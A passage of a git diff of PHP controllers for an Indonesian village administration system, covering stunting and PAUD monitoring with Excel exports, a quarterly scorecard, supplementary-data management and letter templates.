'Nama Anak', + 'Jenis Kelamin', + 'Tanggal Lahir', + 'Status Gizi', + 'Umur (Bulan)', + 'Hasil (M/K/H)', + 'Pemberian Imunisasi Dasar', + 'Pengukuran Berat Badan', + 'Pengukuran Tinggi Badan', + 'Konseling Gizi Ayah', + 'Konseling Gizi Ibu', + 'Kunjungan Rumah', + 'Kepemilikan Akses Air Bersih', + 'Kepemilikan Jamban', + 'Akta Lahir', + 'Jaminan Kesehatan', + 'Pengasuhan PAUD', + ]; + + $writer = WriterEntityFactory::createXLSXWriter(); + $writer->openToBrowser(namafile('Laporan Bulanan Anak') . '.xlsx'); + $writer->addRow(WriterEntityFactory::createRowFromArray($judul)); + + $dataAnak = Anak::with(['kia', 'kia.anak'])->filter($filters)->get(); + $status_tikar = collect(Anak::STATUS_TIKAR_ANAK)->pluck('simbol', 'id'); + + foreach ($dataAnak as $row) { + if ($row->status_gizi == 1) { + $row->status_gizi = 'N'; + } elseif ($row->status_gizi == 2) { + $row->status_gizi = 'GK'; + } elseif ($row->status_gizi == 3) { + $row->status_gizi = 'GB'; + } else { + $row->status_gizi = 'S'; + } + + $data = [ + $row->kia->no_kia, + $row->kia->anak->nama, + $row->kia->anak->sex == JenisKelaminEnum::LAKI_LAKI ? 'LAKI-LAKI' : 'PEREMPUAN', + tgl_indo($row->kia->anak->tanggallahir), + $row->status_gizi, + $row->umur_bulan, + $status_tikar[$row->status_tikar], + $row->pemberian_imunisasi_dasar == 1 ? 'v' : 'x', + $row->pengukuran_berat_badan == 1 ? 'v' : 'x', + $row->pengukuran_tinggi_badan == 1 ? 'v' : 'x', + $row->konseling_gizi == 1 ? 'v' : 'x', + $row->konseling_gizi_ayah == 1 ? 'v' : 'x', + $row->konseling_gizi_ibu == 1 ? 'v' : 'x', + $row->kunjungan_rumah == 1 ? 'v' : 'x', + $row->air_bersih == 1 ? 'v' : 'x', + $row->kepemilikan_jamban == 1 ? 'v' : 'x', + $row->akta_lahir == 1 ? 'v' : 'x', + $row->jaminan_kesehatan == 1 ? 'v' : 'x', + $row->pengasuhan_paud == 1 ? 'v' : 'x', + ]; + $writer->addRow(WriterEntityFactory::createRowFromArray($data)); + } + $writer->close(); + } + + ////////////////////////////////////////////////////////////////////////////////////////////////// + public function pemantauan_paud() + { + $data = $this->widget(); + $data['navigasi'] = 'pemantauan-sasaran-paud'; + $data['tahun'] = Paud::select(Paud::raw('YEAR(created_at) tahun'))->groupBy('tahun')->get(); + $data['posyandu'] = Posyandu::all(); + + return view('admin.stunting.pemantauan_paud', $data); + } + + public function datatablesPaud() + { + if ($this->input->is_ajax_request()) { + $filters = [ + 'tahun' => $this->input->get('tahun'), + 'posyandu' => $this->input->get('posyandu'), + ]; + + return datatables()->of(Paud::select('sasaran_paud.created_at as tanggal_periksa', 'sasaran_paud.*')->with(['kia', 'kia.anak'])->filter($filters)) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->editColumn('kia.anak.tanggallahir', static function ($row) { + return tgl_indo($row->kia->anak->tanggallahir); + }) + ->editColumn('tanggal_periksa', static function ($row) { + return tgl_indo($row->tanggal_periksa); + }) + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function formPaud($id = null) + { + $this->redirect_hak_akses('u'); + + $data = $this->widget(); + $data['navigasi'] = 'pemantauan-sasaran-paud'; + $data['kia'] = KIA::with('anak')->where('anak_id', '!=', null) + ->WhereHas('anak', static function ($query) { + $query->where('tanggallahir', '<=', Carbon::now()->subMonths(24)); + }) + ->get(); + $data['posyandu'] = Posyandu::all(); + + if ($id) { + $data['action'] = 'Ubah'; + $data['formAction'] = route('stunting.updatePaud', $id); + $data['paud'] = Paud::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['formAction'] = route('stunting.insertPaud'); + $data['paud'] = null; + } + + return view('admin.stunting.pemantauan_paud_form', $data); + } + + public function insertPaud() + { + $this->redirect_hak_akses('u'); + + $bulan = date('m', strtotime($this->request['tanggal_periksa'])); + $tahun = date('Y', strtotime($this->request['tanggal_periksa'])); + + $data = Paud::where('kia_id', $this->request['id_kia'])->whereMonth('created_at', $bulan)->whereYear('created_at', $tahun)->first(); + + if ($data) { + redirect_with('error', 'Data telah ditambahkan', 'stunting/pemantauan_paud'); + } + + if (Paud::create(static::validatePaud($this->request))) { + redirect_with('success', 'Berhasil Tambah Data', 'stunting/pemantauan_paud'); + } + + redirect_with('error', 'Gagal Tambah Data', 'stunting/pemantauan_paud'); + } + + public function updatePaud($id = null) + { + $this->redirect_hak_akses('u'); + + $data = Paud::findOrFail($id); + + if ($data->update(static::validatePaud($this->request))) { + redirect_with('success', 'Berhasil Ubah Data', 'stunting/pemantauan_paud'); + } + + redirect_with('error', 'Gagal Ubah Data', 'stunting/pemantauan_paud'); + } + + public function deletePaud($id = null) + { + $this->redirect_hak_akses('h'); + + if (Paud::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data', 'stunting/pemantauan_paud'); + } + + redirect_with('error', 'Gagal Hapus Data', 'stunting/pemantauan_paud'); + } + + protected static function validatePaud($request = []) + { + return [ + 'posyandu_id' => $request['id_posyandu'], + 'kia_id' => $request['id_kia'], + 'created_at' => date('Y-m-d', strtotime($request['tanggal_periksa'])), + 'kategori_usia' => $request['kategori_usia'], + 'januari' => $request['januari'], + 'februari' => $request['februari'], + 'maret' => $request['maret'], + 'april' => $request['april'], + 'mei' => $request['mei'], + 'juni' => $request['juni'], + 'juli' => $request['juli'], + 'agustus' => $request['agustus'], + 'september' => $request['september'], + 'oktober' => $request['oktober'], + 'november' => $request['november'], + 'desember' => $request['desember'], + ]; + } + + public function eksporPaud() + { + $filters = [ + 'tahun' => $this->input->get('tahun'), + 'posyandu' => $this->input->get('posyandu'), + ]; + + $judul = [ + 'No KIA', + 'Nama Anak', + 'Jenis Kelamin', + 'Kategori Usia', + 'Januari', + 'Februari', + 'Maret', + 'April', + 'Mei', + 'Juni', + 'Juli', + 'Agustus', + 'September', + 'Oktober', + 'November', + 'Desember', + ]; + + $writer = WriterEntityFactory::createXLSXWriter(); + $writer->openToBrowser(namafile('Laporan Sasaran Paud') . '.xlsx'); + $writer->addRow(WriterEntityFactory::createRowFromArray($judul)); + + $dataPaud = Paud::with(['kia', 'kia.ibu'])->filter($filters)->get(); + + foreach ($dataPaud as $row) { + $data = [ + $row->kia->no_kia, + $row->kia->anak->nama, + $row->kia->anak->sex == JenisKelaminEnum::LAKI_LAKI ? 'LAKI-LAKI' : 'PEREMPUAN', + $row->kategori_usia == 1 ? 'Anak Usia 2 - < 3 Tahun' : 'Anak Usia 3 - 6 Tahun', + $row->januari = ($row->januari == 1) ? '-' : (($row->januari == 2) ? 'v' : 'x'), + $row->februari = ($row->februari == 1) ? '-' : (($row->februari == 2) ? 'v' : 'x'), + $row->maret = ($row->maret == 1) ? '-' : (($row->maret == 2) ? 'v' : 'x'), + $row->april = ($row->april == 1) ? '-' : (($row->april == 2) ? 'v' : 'x'), + $row->mei = ($row->mei == 1) ? '-' : (($row->mei == 2) ? 'v' : 'x'), + $row->juni = ($row->juni == 1) ? '-' : (($row->juni == 2) ? 'v' : 'x'), + $row->juli = ($row->juli == 1) ? '-' : (($row->juli == 2) ? 'v' : 'x'), + $row->agustus = ($row->agustus == 1) ? '-' : (($row->agustus == 2) ? 'v' : 'x'), + $row->september = ($row->september == 1) ? '-' : (($row->september == 2) ? 'v' : 'x'), + $row->oktober = ($row->oktober == 1) ? '-' : (($row->oktober == 2) ? 'v' : 'x'), + $row->november = ($row->november == 1) ? '-' : (($row->november == 2) ? 'v' : 'x'), + $row->desember = ($row->desember == 1) ? '-' : (($row->desember == 2) ? 'v' : 'x'), + ]; + $writer->addRow(WriterEntityFactory::createRowFromArray($data)); + } + $writer->close(); + } + + //////////////////////////////////// + public function rekapitulasi_ibu_hamil($kuartal = null, $tahun = null, $id = null) + { + if ($kuartal < 1 || $kuartal > 4) { + $kuartal = null; + } + + if ($kuartal == null) { + $bulanSekarang = date('m'); + + if ($bulanSekarang <= 3) { + $_kuartal = 1; + } elseif ($bulanSekarang <= 6) { + $_kuartal = 2; + } elseif ($bulanSekarang <= 9) { + $_kuartal = 3; + } elseif ($bulanSekarang <= 12) { + $_kuartal = 4; + } + } + + if ($kuartal == null || $tahun == null) { + if ($tahun == null) { + $tahun = date('Y'); + } + $kuartal = $_kuartal; + redirect(site_url('stunting/rekapitulasi_ibu_hamil/') . $kuartal . '/' . $tahun); + } + + $data = $this->widget(); + $data['navigasi'] = 'rekapitulasi-hasil-pemantauan-ibu-hamil'; + $data['id'] = $id; + $data['posyandu'] = Posyandu::get(); + $data = array_merge($data, $this->rekap->get_data_ibu_hamil($kuartal, $tahun, $id)); + + return view('admin.stunting.rekapitulasi-ibu-hamil', $data); + } + + public function rekapitulasi_bulanan_anak($kuartal = null, $tahun = null, $id = null) + { + if ($kuartal < 1 || $kuartal > 4) { + $kuartal = null; + } + + if ($kuartal == null) { + $bulanSekarang = date('m'); + + if ($bulanSekarang <= 3) { + $_kuartal = 1; + } elseif ($bulanSekarang <= 6) { + $_kuartal = 2; + } elseif ($bulanSekarang <= 9) { + $_kuartal = 3; + } elseif ($bulanSekarang <= 12) { + $_kuartal = 4; + } + } + + if ($kuartal == null || $tahun == null) { + if ($tahun == null) { + $tahun = date('Y'); + } + $kuartal = $_kuartal; + redirect(site_url('stunting/rekapitulasi_bulanan_anak/') . $kuartal . '/' . $tahun); + } + + $data = $this->widget(); + $data['navigasi'] = 'rekapitulasi-hasil-pemantauan-anak'; + $data['id'] = $id; + $data['posyandu'] = Posyandu::get(); + $data = array_merge($data, $this->rekap->get_data_bulanan_anak($kuartal, $tahun, $id)); + + return view('admin.stunting.rekapitulasi-bulanan-anak', $data); + } + + /////////////////////////////////// + public function scorecard_konvergensi($kuartal = null, $tahun = null, $id = null) + { + if ($kuartal < 1 || $kuartal > 4) { + $kuartal = null; + } + + if ($kuartal == null) { + $bulanSekarang = date('m'); + + if ($bulanSekarang <= 3) { + $_kuartal = 1; + } elseif ($bulanSekarang <= 6) { + $_kuartal = 2; + } elseif ($bulanSekarang <= 9) { + $_kuartal = 3; + } elseif ($bulanSekarang <= 12) { + $_kuartal = 4; + } + } else { + if ($kuartal == 1) { + $batasBulanBawah = 1; + $batasBulanAtas = 3; + } elseif ($kuartal == 2) { + $batasBulanBawah = 4; + $batasBulanAtas = 6; + } elseif ($kuartal == 3) { + $batasBulanBawah = 7; + $batasBulanAtas = 9; + } elseif ($kuartal == 4) { + $batasBulanBawah = 10; + $batasBulanAtas = 12; + } else { + exit('Terjadi Kesalahan di kuartal!'); + } + } + + if ($kuartal == null || $tahun == null) { + if ($tahun == null) { + $tahun = date('Y'); + } + $kuartal = $_kuartal; + redirect(site_url('stunting/scorecard_konvergensi/') . $kuartal . '/' . $tahun); + } + + $JTRT_IbuHamil = IbuHamil::query() + ->distinct() + ->join('kia', 'ibu_hamil.kia_id', '=', 'kia.id') + ->whereMonth('ibu_hamil.created_at', '>=', $batasBulanBawah) + ->whereMonth('ibu_hamil.created_at', '<=', $batasBulanAtas) + ->whereYear('ibu_hamil.created_at', $tahun) + ->selectRaw('ibu_hamil.kia_id as kia_id') + ->get(); + + $JTRT_BulananAnak = Anak::query() + ->distinct() + ->join('kia', 'bulanan_anak.kia_id', '=', 'kia.id') + ->whereMonth('bulanan_anak.created_at', '>=', $batasBulanBawah) + ->whereMonth('bulanan_anak.created_at', '<=', $batasBulanAtas) + ->whereYear('bulanan_anak.created_at', $tahun) + ->selectRaw('bulanan_anak.kia_id as kia_id') + ->get(); + + foreach ($JTRT_IbuHamil as $item_ibuHamil) { + $dataNoKia[] = $item_ibuHamil; + + foreach ($JTRT_BulananAnak as $item_bulananAnak) { + if (! in_array($item_bulananAnak, $dataNoKia)) { + $dataNoKia[] = $item_bulananAnak; + } + } + } + + $ibu_hamil = $this->rekap->get_data_ibu_hamil($kuartal, $tahun, $id); + $bulanan_anak = $this->rekap->get_data_bulanan_anak($kuartal, $tahun, $id); + + //HITUNG KEK ATAU RISTI + $jumlahKekRisti = 0; + + foreach ($ibu_hamil['dataFilter'] as $item) { + if (! in_array($item['user']['status_kehamilan'], [null, '1'])) { + $jumlahKekRisti++; + } + } + + //HITUNG HASIL PENGUKURAN TIKAR PERTUMBUHAN + $status_tikar = collect(Anak::STATUS_TIKAR_ANAK)->pluck('simbol', 'id'); + $tikar = ['TD' => 0, 'M' => 0, 'K' => 0, 'H' => 0]; + + if ($bulanan_anak['dataGrup'] != null) { + foreach ($bulanan_anak['dataGrup'] as $detail) { + $totalItem = count($detail); + $i = 0; + + foreach ($detail as $item) { + if (++$i === $totalItem) { + $tikar[$status_tikar[$item['status_tikar']]]++; + } + } + } + + $jumlahGiziBukanNormal = 0; + + foreach ($bulanan_anak['dataFilter'] as $item) { + // N = 1 + if ($item['umur_dan_gizi']['status_gizi'] != 'N') { + $jumlahGiziBukanNormal++; + } + } + } else { + $dataNoKia = []; + $jumlahGiziBukanNormal = 0; + } + + //START ANAK PAUD------------------------------------------------------------ + $totalAnak = [ + 'januari' => ['total' => 0, 'v' => 0], + 'februari' => ['total' => 0, 'v' => 0], + 'maret' => ['total' => 0, 'v' => 0], + 'april' => ['total' => 0, 'v' => 0], + 'mei' => ['total' => 0, 'v' => 0], + 'juni' => ['total' => 0, 'v' => 0], + 'juli' => ['total' => 0, 'v' => 0], + 'agustus' => ['total' => 0, 'v' => 0], + 'september' => ['total' => 0, 'v' => 0], + 'oktober' => ['total' => 0, 'v' => 0], + 'november' => ['total' => 0, 'v' => 0], + 'desember' => ['total' => 0, 'v' => 0], + ]; + + $anak2sd6 = SasaranPaud::query(); + + if ($this->session->userdata('isAdmin')->id_grup !== '1') { + $anak2sd6->where('id', $this->session->userdata('id')); + } else { + if ($id != null) { + $anak2sd6->where('id', $id); + } + } + $anak2sd6->whereYear('sasaran_paud.created_at', $tahun)->get(); + + foreach ($anak2sd6 as $datax) { + $datax->januari != 'belum' ? $totalAnak['januari']['total']++ : $totalAnak['januari']['total']; + $datax->februari != 'belum' ? $totalAnak['februari']['total']++ : $totalAnak['februari']['total']; + $datax->maret != 'belum' ? $totalAnak['maret']['total']++ : $totalAnak['maret']['total']; + $datax->april != 'belum' ? $totalAnak['april']['total']++ : $totalAnak['april']['total']; + $datax->mei != 'belum' ? $totalAnak['mei']['total']++ : $totalAnak['mei']['total']; + $datax->juni != 'belum' ? $totalAnak['juni']['total']++ : $totalAnak['juni']['total']; + $datax->juli != 'belum' ? $totalAnak['juni']['total']++ : $totalAnak['juni']['total']; + $datax->agustus != 'belum' ? $totalAnak['agustus']['total']++ : $totalAnak['agustus']['total']; + $datax->september != 'belum' ? $totalAnak['juni']['total']++ : $totalAnak['juni']['total']; + $datax->oktober != 'belum' ? $totalAnak['oktober']['total']++ : $totalAnak['oktober']['total']; + $datax->november != 'belum' ? $totalAnak['november']['total']++ : $totalAnak['november']['total']; + $datax->desember != 'belum' ? $totalAnak['desember']['total']++ : $totalAnak['desember']['total']; + + $datax->januari == 'v' ? $totalAnak['januari']['v']++ : $totalAnak['januari']['v']; + $datax->februari == 'v' ? $totalAnak['februari']['v']++ : $totalAnak['februari']['v']; + $datax->maret == 'v' ? $totalAnak['maret']['v']++ : $totalAnak['maret']['v']; + $datax->april == 'v' ? $totalAnak['april']['v']++ : $totalAnak['april']['v']; + $datax->mei == 'v' ? $totalAnak['mei']['v']++ : $totalAnak['mei']['v']; + $datax->juni == 'v' ? $totalAnak['juni']['v']++ : $totalAnak['juni']['v']; + $datax->juli == 'v' ? $totalAnak['juni']['v']++ : $totalAnak['juni']['v']; + $datax->agustus == 'v' ? $totalAnak['agustus']['v']++ : $totalAnak['agustus']['v']; + $datax->september == 'v' ? $totalAnak['juni']['v']++ : $totalAnak['juni']['v']; + $datax->oktober == 'v' ? $totalAnak['oktober']['v']++ : $totalAnak['oktober']['v']; + $datax->november == 'v' ? $totalAnak['november']['v']++ : $totalAnak['november']['v']; + $datax->desember == 'v' ? $totalAnak['desember']['v']++ : $totalAnak['desember']['v']; + } + + $dataAnak0sd2Tahun = ['jumlah' => 0, 'persen' => 0]; + if ($kuartal == 1) { + $jmlAnk = $totalAnak['januari']['total'] + $totalAnak['februari']['total'] + $totalAnak['maret']['total']; + $jmlV = $totalAnak['januari']['v'] + $totalAnak['februari']['v'] + $totalAnak['maret']['v']; + } elseif ($kuartal == 2) { + $jmlAnk = $totalAnak['april']['total'] + $totalAnak['mei']['total'] + $totalAnak['juni']['total']; + $jmlV = $totalAnak['april']['v'] + $totalAnak['mei']['v'] + $totalAnak['juni']['v']; + } elseif ($kuartal == 3) { + $jmlAnk = $totalAnak['juli']['total'] + $totalAnak['agustus']['total'] + $totalAnak['september']['total']; + $jmlV = $totalAnak['juli']['v'] + $totalAnak['agustus']['v'] + $totalAnak['september']['v']; + } elseif ($kuartal == 4) { + $jmlAnk = $totalAnak['oktober']['total'] + $totalAnak['november']['total'] + $totalAnak['desember']['total']; + $jmlV = $totalAnak['oktober']['v'] + $totalAnak['november']['v'] + $totalAnak['desember']['v']; + } + $dataAnak0sd2Tahun['jumlah'] = $jmlV; + $dataAnak0sd2Tahun['persen'] = $jmlAnk != 0 ? number_format($jmlV / $jmlAnk * 100, 2) : 0; + + //END ANAK PAUD------------------------------------------------------------ + + $data = $this->widget(); + $data['navigasi'] = 'scorcard-konvergensi'; + $data['dataAnak0sd2Tahun'] = $dataAnak0sd2Tahun; + $data['id'] = $id; + $data['posyandu'] = Posyandu::get(); + $data['JTRT'] = count($dataNoKia); + $data['jumlahKekRisti'] = $jumlahKekRisti; + $data['jumlahGiziBukanNormal'] = $jumlahGiziBukanNormal; + $data['tikar'] = $tikar; + $data['ibu_hamil'] = $ibu_hamil; + $data['bulanan_anak'] = $bulanan_anak; + $data['dataTahun'] = $data['ibu_hamil']['dataTahun']; + $data['kuartal'] = $kuartal; + $data['_tahun'] = $tahun; + $data['aktif'] = 'scorcard'; + + return view('admin.stunting.scorcard-konvergensi-desa', $data); + } + + private function widget() + { + return [ + 'bulanIniIbuHamil' => IbuHamil::whereMonth('created_at', date('m'))->count(), + 'bulanIniAnak' => Anak::whereMonth('created_at', date('m'))->count(), + 'totalIbuHamil' => IbuHamil::count(), + 'totalAnak' => Anak::count(), + ]; + } +} diff --git a/donjo-app/controllers/Suplemen.php b/donjo-app/controllers/Suplemen.php index 72c584016..664203f4a 100644 --- a/donjo-app/controllers/Suplemen.php +++ b/donjo-app/controllers/Suplemen.php @@ -1,481 +1,364 @@ -load->model(['suplemen_model', 'pamong_model', 'penduduk_model', 'keluarga_model', 'wilayah_model']); + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'data-suplemen'; + $this->_list_session = ['cari', 'sasaran', 'sex', 'dusun', 'rw', 'rt']; + $this->_set_page = ['20', '50', '100']; + } + + public function index($page_number = 1, $order_by = 0) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $sasaran = $this->input->post('sasaran'); + if (isset($sasaran)) { + $this->session->sasaran = $sasaran; + } + + $data = [ + 'func' => 'index', + 'set_page' => $this->_set_page, + 'paging' => $this->suplemen_model->paging_suplemen($page_number), + 'list_sasaran' => unserialize(SASARAN), + 'set_sasaran' => $this->session->sasaran, + ]; + + $data['suplemen'] = $this->suplemen_model->list_data($order_by, $data['paging']->offset, $data['paging']->per_page); + + $this->render('suplemen/suplemen', $data); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + if ($id) { + $data['suplemen'] = $this->suplemen_model->get_suplemen($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/ubah/{$id}"); + } else { + $data['suplemen'] = null; + $data['form_action'] = site_url("{$this->controller}/tambah"); + } + + $data['list_sasaran'] = unserialize(SASARAN); + + $this->render('suplemen/form', $data); + } + + public function tambah() + { + $this->redirect_hak_akses('u'); + $this->suplemen_model->create(); + + redirect($this->controller); + } + + public function ubah($id) + { + $this->redirect_hak_akses('u'); + $this->suplemen_model->update($id); + + redirect($this->controller); + } + + public function hapus($id) + { + $this->redirect_hak_akses('h'); + $this->suplemen_model->hapus($id); + + redirect($this->controller); + } + + public function panduan() + { + $this->render('suplemen/panduan'); + } + + public function filter($filter) + { + if ($filter == 'dusun') { + $this->session->unset_userdata(['rw', 'rt']); + } + if ($filter == 'rw') { + $this->session->unset_userdata('rt'); + } + + //# untuk filter pada data rincian suplemen + $value = $this->input->post($filter); + $id_rincian = $this->session->id_rincian; + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect("{$this->controller}/rincian/{$id_rincian}"); + } + + public function clear($id = 0) + { + $this->session->per_page = $this->_set_page[0]; + //# untuk filter pada data rincian suplemen + if ($id) { + $this->session->id_rincian = $id; + $this->session->unset_userdata(['cari', 'sex', 'dusun', 'rw', 'rt']); + + redirect("{$this->controller}/rincian/{$id}"); + } + //Untuk index Suplemen + else { + $this->session->unset_userdata($this->_list_session); + + redirect($this->controller); + } + } + + public function rincian($id = '', $p = 1) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data = $this->suplemen_model->get_rincian($p, $id) ?? show_404(); + $data['sasaran'] = unserialize(SASARAN); + $data['func'] = "rincian/{$id}"; + $data['per_page'] = $this->session->per_page; + $data['set_page'] = $this->_set_page; + $data['cari'] = $this->session->cari; + $data['sex'] = $this->session->sex ?? null; + $data['list_jenis_kelamin'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + + foreach ($this->_list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } + } + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + $this->render('suplemen/suplemen_anggota', $data); + } + + public function form_terdata($id) + { + $this->redirect_hak_akses('u'); + $data['sasaran'] = unserialize(SASARAN); + $data['suplemen'] = $this->suplemen_model->get_suplemen($id) ?? show_404(); + $sasaran = $data['suplemen']['sasaran']; + $data['list_sasaran'] = $this->suplemen_model->list_sasaran($id, $sasaran, false); + if (isset($_POST['terdata'])) { + $data['individu'] = $this->suplemen_model->get_terdata($_POST['terdata'], $sasaran); + } else { + $data['individu'] = null; + } + + $data['form_action'] = site_url("{$this->controller}/add_terdata"); + + $this->render('suplemen/form_terdata', $data); + } + + public function apipenduduksuplemen() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster', 'kk_level']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun), + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + public function terdata($sasaran = 0, $id = 0) + { + $data = $this->suplemen_model->get_terdata_suplemen($sasaran, $id); + + $this->render('suplemen/terdata', $data); + } + + public function data_terdata($id = 0) + { + $data['terdata'] = $this->suplemen_model->get_suplemen_terdata_by_id($id); + $data['suplemen'] = $this->suplemen_model->get_suplemen($data['terdata']['id_suplemen']); + $data['individu'] = $this->suplemen_model->get_terdata($data['terdata']['id_terdata'], $data['suplemen']['sasaran']); + + $this->render('suplemen/data_terdata', $data); + } + + public function edit_terdata_form($id = 0) + { + $this->redirect_hak_akses('u'); + $data = $this->suplemen_model->get_suplemen_terdata_by_id($id); + $data['form_action'] = site_url("{$this->controller}/edit_terdata/{$id}"); + + $this->load->view('suplemen/edit_terdata', $data); + } + + public function add_terdata($id) + { + $this->redirect_hak_akses('u'); + $this->suplemen_model->add_terdata($_POST, $id); + + redirect("{$this->controller}/rincian/{$id}"); + } + + public function edit_terdata($id) + { + $this->redirect_hak_akses('u'); + $this->suplemen_model->edit_terdata($_POST, $id); + $id_suplemen = $_POST['id_suplemen']; + + redirect("{$this->controller}/rincian/{$id_suplemen}"); + } + + public function hapus_terdata($id_suplemen, $id_terdata) + { + $this->redirect_hak_akses('h'); + $this->suplemen_model->hapus_terdata($id_terdata); + + redirect("{$this->controller}/rincian/{$id_suplemen}"); + } + + public function hapus_terdata_all($id_suplemen) + { + $this->redirect_hak_akses('h'); + $this->suplemen_model->hapus_terdata_all(); + + redirect("{$this->controller}/rincian/{$id_suplemen}"); + } + + // $aksi = cetak/unduh + public function dialog_daftar($id = 0, $aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/daftar/{$id}/{$aksi}"); + + $this->load->view('global/ttd_pamong', $data); + } + + // $aksi = cetak/unduh + public function daftar($id = 0, $aksi = '') + { + if ($id > 0) { + $post = $this->input->post(); + $temp = $this->session->per_page; + $this->session->per_page = 1000000000; // Angka besar supaya semua data terunduh + $data = $this->suplemen_model->get_rincian(1, $id) ?? show_404(); + $data['sasaran'] = unserialize(SASARAN); + $data['config'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']); + $data['aksi'] = $aksi; + $this->session->per_page = $temp; + + //pengaturan data untuk format cetak/ unduh + $data['file'] = 'Laporan Suplemen ' . $data['suplemen']['nama']; + $data['isi'] = 'suplemen/cetak'; + $data['letak_ttd'] = ['2', '2', '3']; + + $this->load->view('global/format_cetak', $data); + } + } + + public function impor() + { + $this->redirect_hak_akses('u'); + $id = $this->input->post('id_suplemen'); + $this->suplemen_model->impor($id); + + redirect("{$this->controller}/rincian/{$id}"); + } + + public function ekspor($id = 0) + { + $temp = $this->session->per_page; + + $this->session->per_page = 0; + $this->suplemen_model->ekspor($id); + $this->session->per_page = $temp; + } +} diff --git a/donjo-app/controllers/Surat.php b/donjo-app/controllers/Surat.php index a0d83c1ec..16fd83cd4 100644 --- a/donjo-app/controllers/Surat.php +++ b/donjo-app/controllers/Surat.php @@ -1,457 +1,1082 @@ -load->model(['penduduk_model', 'keluarga_model', 'surat_model', 'keluar_model', 'penomoran_surat_model', 'permohonan_surat_model']); + $this->modul_ini = 'layanan-surat'; + $this->sub_modul_ini = 'cetak-surat'; + $this->tinymce = new TinyMCE(); + $this->logpenduduk = new LogPenduduk(); + } + + public function index() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(FormatSurat::kunci(FormatSurat::KUNCI_DISABLE)->orderBy('favorit', 'desc')->latest('updated_at')) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + if ($row->favorit) { + $aksi .= 'url_surat}") . '" class="btn btn-social bg-olive btn-sm" title="Buat Surat">Buat Surat '; + $aksi .= 'id}/1") . '" class="btn bg-olive btn-sm" title="Keluarkan dari Daftar Favorit"> '; + } else { + $aksi .= 'url_surat}") . '" class="btn btn-social bg-purple btn-sm" title="Buat Surat">Buat Surat '; + $aksi .= 'id}/0") . '" class="btn bg-purple btn-sm" title="Tambahkan ke Daftar Favorit"> '; + } + } + + return $aksi; + }) + ->addColumn('jenis', static function ($row) { + return in_array($row->jenis, FormatSurat::RTF) ? 'RTF' : 'TinyMCE'; + }) + ->editColumn('lampiran', static function ($row) { + return kode_format($row->lampiran); + }) + ->rawColumns(['aksi', 'template_surat']) + ->make(); + } + + return view('admin.surat.index'); + } + + public function apidaftarsurat() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + + $surat = FormatSurat::select(['id', 'nama', 'jenis', 'url_surat']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nama', 'like', "%{$cari}%"); + }) + ->kunci(FormatSurat::KUNCI_DISABLE) + ->latest('updated_at') + ->orderBy('favorit', 'desc') + ->paginate(10); + + return json([ + 'results' => collect($surat->items()) + ->map(static function ($item) { + return [ + 'id' => $item->url_surat, + 'text' => ($item->jenis == 1 ? '[RTF]' : '[TinyMCE]') . " - {$item->nama}", + ]; + }), + 'pagination' => [ + 'more' => $surat->currentPage() < $surat->lastPage(), + ], + ]); + } + + return show_404(); + } + + public function form($url = '', $id = '') + { + $nik = $this->input->post('nik') ?? $id; + + $this->session->unset_userdata('log_surat'); + unset($_SESSION['id_ibu'], $_SESSION['id_bayi'], $_SESSION['id_pelapor'], $_SESSION['id_saksi1'], $_SESSION['id_saksi2']); + $data['surat'] = FormatSurat::cetak($url)->first(); + + if ($data['surat']) { + $data['url'] = $url; + $data['anchor'] = $this->input->post('anchor'); + $data['surat_url'] = rtrim($_SERVER['REQUEST_URI'], '/clear'); + + // NIK => id + if (! empty($nik)) { + if (in_array($data['surat']['jenis'], FormatSurat::RTF)) { + $data['individu'] = $this->surat_model->get_penduduk($nik); + $data['anggota'] = $this->keluarga_model->list_anggota($data['individu']['id_kk'], 